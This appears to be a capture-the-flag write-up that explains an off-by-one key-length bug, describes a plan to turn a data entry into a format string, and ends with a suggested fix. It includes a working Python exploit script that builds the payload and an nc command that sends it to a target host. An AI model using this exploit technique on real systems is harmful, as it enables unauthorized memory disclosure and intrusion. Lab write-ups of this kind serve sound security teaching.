Analysis of the bug =================== The `key` field in the `entry` structure is `KEYSZ` bytes _including_ the string terminator, but the `readkey()` function may read `KEYSZ` bytes _besides_ the terminator. Therefore, the `strcpy()` in the `n` command may write a null byte in the LSB of the `type` pointer. Attack plan =========== The idea is to turn a data item (type `E_ARGS==1`) into a format string (type `E_FORMAT==0`), thus bypassing the checks in `fmtcheck()`. This fake data item should of course contain `%s`. Then we can put the address of `secret` in another data item and use it to print the flag. Attack implementation ===================== Since the program is not PIE, we can obtain the address of `secret` from a copy of the binary: ```sh nm server | grep secret ``` We obtain 0x407080. Now we write the following in an `xpl.py` file: ```python import sys import struct secret_addr = 0x407080 # the key that will cause the overflow k1 = b'A' * 8 # the second key k2 = b'B' # create a fake E_FORMAT entry containing %s # We use the 'd' command with 1 data item o = b'd1\n' o += k1 # overflow # the server will try to read 1 data item (8 bytes) o += b'%s' + b' '*6 # now create a valid E_ARGS entry with the address of secret o += b'd1\n' o += k2 + b'\n' o += struct.pack('Q', secret_addr) # now use the two entries to print the secret o += b'p' + k1 + k2 + b'\n' sys.stdout.buffer.write(o) ``` Then we can obtain the flag with ```sh PYTHONIOENCODING=iso-8859-1 python3 xpl.py | nc $HOST $PORT ``` Suggested fix ============= Either the `key` field size in `entry` must be increased by 1, or `readkey` should stop at `KEYSZ - 1`. Since `search()` uses `strncmp()` (and therefore the string terminator is not needed), replacing `strcyp()` with `strncpy()` is also an option.